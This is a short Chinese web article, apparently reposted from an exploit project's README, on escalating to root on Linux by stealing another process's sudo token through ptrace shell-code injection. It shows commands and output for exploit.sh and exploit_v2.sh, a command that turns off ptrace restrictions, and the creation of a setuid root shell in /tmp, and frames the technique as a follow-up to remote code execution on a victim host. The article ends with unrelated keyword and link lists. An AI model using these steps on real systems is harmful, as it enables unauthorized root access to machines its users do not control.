linux中如何利用sudo token实现提权
发表于:2025-02-12 作者:千家信息网编辑
千家信息网最后更新 2025年02月12日,小编给大家分享一下linux中如何利用sudo token实现提权,希望大家阅读完这篇文章之后都有所收获,下面让我们一起去探讨吧!如何利用系统中的漏洞?$sudo whatever[sudo]pass
千家信息网最后更新 2025年02月12日linux中如何利用sudo token实现提权
小编给大家分享一下linux中如何利用sudo token实现提权,希望大家阅读完这篇文章之后都有所收获,下面让我们一起去探讨吧!
如何利用系统中的漏洞?
$sudo whatever[sudo]password for user: # Press+c since you don't have the password. # This creates an invalidsudo tokens.$ sh exploit.sh....wait 1 seconds$sudo -i # no password required :)# iduid=0(root)gid=0(root) groups=0(root)
实现要求
1、 完全启用Ptrace(/proc/sys/kernel/yama/ptrace_scope == 0);
2、 当前用户必须开启一个拥有有效sudo令牌并且相同uid的活动进程;
注:默认密码的超时时间为15分钟,如果你在15分钟内使用sudo两次,系统就不会要求你再输入用户的sudo密码了。
工作机制
项目目录中的Exploit.sh会向当前用户的所有进程注入Shell代码,并使用它们的sudo令牌来验证我们自己的sudo口令。仅需三行Shell代码,一切皆有可能。
使用样例
假设,你拿到了一个RCE,而且没有用户密码,但目标用户使用了sudo,那么你就可以通过窃取他的sudo令牌来实现提权啦!
如何在实验环境中模拟?
#echo 0 > /proc/sys/kernel/yama/ptrace_scope# #Don't worry this is not persistent accross reboot
打开两个终端窗口:
1、 其中一个执行sudo命令,然后输入正确的用户密(sudo ls);
2、 另一个按照上述方法执行漏洞利用代码;
使用exploit_v2.sh在/tmp/sh中创建一个suid sh
如果exploit_v1无法成功的话,大家可以尝试一下exploit_v2.sh:
$./exploit_v2.shCurrentprocess : 2441chmod:changing permissions of 'activate_sudo_token': Operation not permittedInjectingprocess 1721 -> bashInjectingprocess 2433 -> bashcat:/proc/2446/comm: No such file or directoryInjectingprocess 2446 ->$/tmp/sh -p# iduid=1001(test)gid=1001(test) euid=0(root) egid=0(root) groups=0(root),1001(test)
看完了这篇文章,相信你对"linux中如何利用sudo token实现提权"有了一定的了解,如果想了解更多相关知识,欢迎关注行业资讯频道,感谢各位的阅读!
用户
代码
令牌
密码
漏洞
篇文章
系统
进程
输入
有效
相同
成功
两个
仅需
口令
可以通过
命令
完了
方法
时间
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
软件开发技术文档制作
java软件开发自动化
武汉广峰网络技术有限公司
计算机三级网络技术用什么书
labview访问数据库
阿阳开的服务器叫什么
寻找专用服务器失败
虚拟iis服务器
小型软件开发周期要多久
数据库字体
阿里云查看数据库
isoftstone邮箱服务器
第十一代i5服务器解决方案
重庆大鹅网络技术
阿里云服务器wdcp
甘肃省网络安全展
什么是服务器端动态网页
表情包数据库设计
计算机网络技术转本考什么
csr软件开发平台
dba数据库工程师课程
德惠软件开发商在线咨询
怎么连接mvc数据库
超图服务器安全
node 数据库迁徙脚本
软件开发工作量评估价
网络安全问题都有什么
崇明区网络营销软件开发诚信为本
静安区品牌软件开发出厂价格
办一张网络安全手抄报图片